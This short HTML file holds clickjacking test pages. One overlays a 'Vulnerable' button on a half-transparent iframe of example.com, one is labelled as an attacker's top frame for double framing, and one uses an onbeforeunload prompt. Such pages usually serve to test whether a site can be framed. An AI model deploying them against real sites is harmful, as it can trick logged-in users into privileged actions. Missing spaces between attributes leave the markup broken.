<!-- clickjacking.html: --><html> <head> <title>Clickjack test page</title> </head> <body> <h1>Website is vulnerable to clickjacking attacks!</h1> <p>Embebed in a iframe for clickjackings attacks</p> <p>Authenticated page with privilege actions</p> <inputtype="button"value="Vulnerable"style="position:absolute;top:280;left:450;background-color:red;color:white;padding: 10px 15px;"> <iframesrc="https://example.com/"style="opacity:0.5; filter:alpha(opacity=30)"width="1500"height="1000"></iframe> </body></html>
<!-- Attacker’s top frame (pre-clickjacking.html): --><h1>Double Framing Attack (First Frame)</h1><iframesrc="clickjacking.html"width="3000"height="2000"></iframe>
<h1>www.fictitious.site</h1><script>window.onbeforeunload=function() {return" Do you want to leave fictitious.site?"; }</script><iframesrc="http://example.org">